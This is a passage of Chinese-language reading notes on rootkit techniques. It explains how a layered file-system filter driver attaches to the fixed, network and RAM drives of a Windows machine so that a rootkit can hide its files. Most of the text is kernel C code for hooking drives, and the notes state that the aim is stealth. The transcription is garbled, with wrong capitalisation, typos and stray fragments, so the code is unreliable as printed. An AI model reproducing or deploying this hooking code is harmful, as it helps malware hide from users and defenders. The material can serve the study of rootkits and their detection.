读书笔记_Rootkit技术_文件过滤驱动程序(1)

分层驱动程序可应用于文件系统。出于潜行的需求，文件系统对于rootkit有着特殊的吸引力。许多rootkit需要在文件系统中存储文件，并且这些文件必须是隐藏的。可以使用钩子技术来隐藏文件，但这种方法容易被检测出来。另外，如果文件或目录安装在SMB共享系统上，那么钩住系统服务描述表（system service descriptor table，SSDT）并不能隐藏它们。下面来看通过分层驱动的方法来隐藏文件。

首先从驱动的入口函数DriverEntry例程来看：

NTSTATUSDriverEntry ( IN PDRIVER_OBJECT DriverObject,

                    IN PUNICODE_STRINGRegistryPath)

{

       For ( i = 0; I <=IRP_MJ_MAXIMUM_FUNCTION; i++)

       {

           DriverObject->MajorFunctionp[i] =OurDispatch;

       }

   DriverObject->FastIoDispatch=&OurFastIOHook;

   在DriverEntry例程中，是MajorFunction数组指向OurDispatch调度例程，还建立了一个FastIoDispatch调度表，这里可以看到文件系统驱动程序特有的一些内容。FastIo是文件系统程序的另一种通信方法。

准备好调度表后，下面必须钩住驱动器，调用HookDriveSet函数在所有可用得驱动器盘符上安装钩子:

DWORD d_hDrives= 0;

// Initializethe drives we will hool

For(I = 0;i< 26; i++)

     DriveHookDevices[i] =NULL;

DriveToHook =0;

ntStatus =GetDrivesToHook(&d_hDrives);

if(!NT_SUCCESS(ntStatus))

   return ntStatus;

HookDriveSet(d_hDrives,DriverObject);

以下代码用于获取钩住的驱动程序列表：

NTSTATUSGetDrivesToHook（DWORD *d_hookDrives）

{

    NTSTATUS ntstatus;

    PROCESS_DEVICEMAP_INFORMATION s_devMap;

    DWORD MaxDriveSet, CurDriveSet;

    Int drive;

    If(d_hookDrives == NULL)

         Return STATUS_UNSUCCESSFUL;

注意当前进程的句柄用法：

Ntstatus = ZwQueryInformationProcess(( HANDLE) 0xffffffff,

                                 ProcessDeviceMap,

                                 &s_devMap,

                                     Sizeof(s_devMap),

                                     NULL);

If(!NT_SUCCESS(ntstatus))

     Return ntstatus;

// Get available drives we can monitor.

MaxDriveSet = s_devMap.Query.DriveMap;

CurDriveSet = MaxDriveSet;

For ( drive = 0; drive < 32; ++drive)

{

    If(MaxDriveSet &(1<<drive))

    {

       Switch(s_devMap.Query.DriveType[drive])

       {

 首先处理要跳过的驱动器：

// We don’t like these: remove them.

    Case DRIVE_UNKNOWN: // Thedrive type cannot be determined.

    Case DRIVE_NO_ROOT_DIR; //The root directory does not exit.

         curDriveSet &=~(1 <<drive);

         break;

// The drive can be removed from the drive

// Doesn’t make sense to put hidden files on

// a removable drive because we will not

// necessarily control the computer that the

// drive is mounted on next.

Case DRIVE_REMOVABLE:

    CurDriveSet &= ~(1<< drive);

    Break;

// The drive is a CD-ROM drive

 Case DRIVE_CDROM;

    CurDriveSet &= ~(1<< drive);

    Break;

将要钩住以下驱动器：DRIVE_FIXED,DRIVE_REMOTE和DRIVE_RAMDISK.

代码继续如下：

}

}

}

*d_hookDrives = CurDriveSet;

Return ntstatus;

}

钩住驱动器集合的代码如下：

ULONG HookDriveSet（IN ULONG DriveSet， IN PDRIVER_OBJECT DriverObject）

{

    PHOOK_EXTENSION hookExt;

    ULONG drive, I;

    ULONG bit;

     // Scan the drive table,looking for hits on the DriveSet bitmask.

    For( drive = 0; drive <26; ++drive_

{

    Bit = 1<< drive;

    // Are we supposed to hookthis drive

     If (( bit & DriveSet)&&!(bit &DrivesToHook))

{

  If( !HookDrive( drive,DriverObject))

  {

    // remove from drive setif can’t be hooked

    DriveSet &= ~bit;

}

Else

{

   // Hook drives in samedrive group

   For( I = 0; I < 26; i++)

{

   If( DriveHookDevices[i] ==DriveHookDevices[ drive])

    {

         DriveSet |= (1<<i);

    }

}

        }

     }

     Else if ( !(bit  & DriveSet)&&(bit & DrivesToHook) )

{

   // Unhook this drive and all in the group

    For ( I = 0; i<26; i++)

    {

       If( DriveHookDevices[i] ==DriveHookDevices[ drive])

       {

            UnhookDrive(i);

            DriveSet &= ~(1<<i);

}

       }

}

}

// return set of drives currently hooked.

   DrivesToHook = DriveSet;

   Return DriveSet;

}

对于单个驱动器挂上你和取下钩子的代码如下：
  if（DriveHookDevices[Drive]）

{

    hookExt =DriveHookDevices[Drive]->DeviceExtension;

    hookExt -> Hooked =FALSE;

  }

}

 

BOOLEAN HookDrive ( IN ULONG Drive, IN PDRIVER_OBJECT DriverObject)

{

   IO_STATUS_BLOCK ioStatus;

   HANDLE ntFileHandle;

   OBJECT_ATTRIBUTESobjectAttributes;

   PDEVICE_OBJECTfileSysDevice;

   PDEVICE_OBJECT hookDevice;

   UNICODE_STRINGfileNameUnicodeString;

   PFILE_FS_ATTRIBUTE_INFORMATIONfileFsAttributes;

   ULONG fileFsAttributesSize;

   WCHAR filename[] = L”\\DosDevices\\A:\\”;

   NTSTATUS ntStatus;

   ULONG I;

   PFILE_OBJECT fileObject;

   PHOOK_EXTENSIONhookExtension;

   If(Drive  >= 26)

        Return FALSE; //Illegal drive letter

  // Test whether we havehooked this drive

 If ( DriveHookDevices [Drive] == NULL )

  {

     Filename[12] = (CHAR) ( ‘A’+ Drive); // Set up drive name

    下面打开磁盘卷的根目录：

   RtlInitUnicodeString(&fileNameUnicodeString, filename);

   InitializeObjectAttributes(&objectAttributes,

                        &fileNameUnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);

     ntStatus = ZwCreateFile(&ntFileHandle,

                         SYNCHRONIZE | FILE_ANY_ACCESS,

                         &objectAttributes,

                        &ioStatus,

                            NULL,

                            0,

                            FILE_SHARE_READ |FILE_SHARE_WRITE,

                           FILE_OPEN,

                           FILE_SYNCHRONOUS_IO_NONALERT | FILE_DIRECTORY_FILE,

                            NULL,

                            0);

          If ( ! NT_SUCCESS ( ntStatus ))

{

     若程序无法打开驱动器，则返回“false”:

                 Return FALSE;

        }

// Use file handle to look up the fileobject.

// If this is successful,

// we must eventually decrement the fileobject

ntStatus = ObReferenceObjectByHandle (ntFileHandle,

                                FILE_READ_DATA,

                                 NULL,

                                 KernelMode,

                                &fileobject,

                                 NULL);

If( !NT_SUCCESS ( ntStatus))

{

若程序无法从句柄中获得文件对象，则返回“false”：

ZwClose ( ntFileHandle );

Return FALSE;

}

// Get the device object from the Fileobject

fileSysDevice = IoGetRelatedDeviceObject (fileObject );

if(!fileSysDevice)

{

若程序无法获取设备对象，则返回“flase”：

ObDereferenceObject(fileObject);

ZwClose (ntFileHandle);

Return FALSE;

}

// Check the device list to see if we arealready

// attached to this particular device

// This can happen when more than one driveletter

// is being handled by the same network

// redirector

For (I = 0; i<26; i++)

{

      If( DriveHookDevices[i] == fileSysDevice )

{

// if we are already watching it

// associate this drive letter

// with the others that are handled

// by the same network driver. This enables us to intelligentlyupdate

// the hooking menus when the user specifies that one of the groupshould not be

// watched – we mark all of the related drives as unwantched aswell.

      ObDereferenceObject(fileObject);

      ZwClose(ntFileHandle);

      DriveHookDevice[Drive] =fileSysDevice;

      Return TRUE;

        }

}

// The file system’s device hasn’t been hooked already, so make ahooking device object // that will be attached to it

ntStatus = IoCreateDevice(DriverObject,

                     sizeof(HOOK_EXTENSION),

                      NULL,

                     fileSysDevice->DeviceType.

                     fileSysDevice->Characteristics,

                      FALSE,

                     &hookDevice);

 If( !NT_SUCCESS(ntStatus))

{

     若程序无法创建相关的设备，则返回“false”：

     ObDereferenceObject(fileObject);

     ZwClose(ntFileHandle);

     Return FALSE;

}

// Clear he device’s init flag

// If we do not clear this flag, it is speculated no one else wouldbe able to layer on top

// of us. This may be a useful feature in the future !

hookDevice->Flags &=~DO_DEVICE_INITIALIZEING;

hookDevice->Flags|=(fileSysDevice->Flags&(DO_BUFFERED_IO | DO_DIRECT_TO));

     // Set up the device extensions. The drive letter and file system objectare stored in the

     // extenson

        hookExtension = hookDevice->DeviceExtension;

        hookExtension->LogicalDrive = ‘A’ + Drive;

        hookExtension->FileSystem = fileSysDevice;

        hookExtension->Hooked = TRUE;

        hookExtension->Type = STANDARD;

      // Finally, attach to the device. As soon as we are successfullyattached, we may start

      // receiving IRPs targeted at the device we are hooked.

        ntStatus = IoAttachDeviceByPointer( hookDevice, fileSysDevice);

      if( !NT_SUCCESS(ntStatus))

{

    ObDereferenceObject (fileObject);

    ZwClose(ntFileHandle);

    Return FALSE;

}

 

// Determine whether this is an NTFS drive

 

fileFsAttributesSize = sizeof(FILE_FS_ATTRIBUTE_INFORMATION) +MAXPATHLEN;

  hookExtension->FsAttributes = (PFILE_FS_ATTRIBUTE_INFORMATION)

ExAllocatePool(NonPagedPool, fileFsAttributesSize);

If(hookExtension->FsAttributes && !NT_SUCCESS (

IoQueryVolumeInformation ( fileObject, FileFsAttributeInformation,fileFSAttributesSize,

                      hookExtension->FsAttributes,

                       &fileFsAttributesSize)))

{

  // On failure, we just don’thave attributes for this file system.

   ExFreePool (hookExtesnion->FsAttributes_;

  hookExtension->FsAttributes = NULL;

}

// Close the file and update the hooked drive list by entering apointer to the hook

// device object in it.

ObDereferenceObject ( fileObject);

ZwClose(ntFileHandle);

DriveHookDevices[Drive] = hookDevice;

}

Else // This drive is already hooked

{

  hookExtension =DriveHookDevices[Drive]->DeviceExtension;

  hookExtension ->Hooked =TRUE;

}

Return TRUE;

}

 

 

                                 

;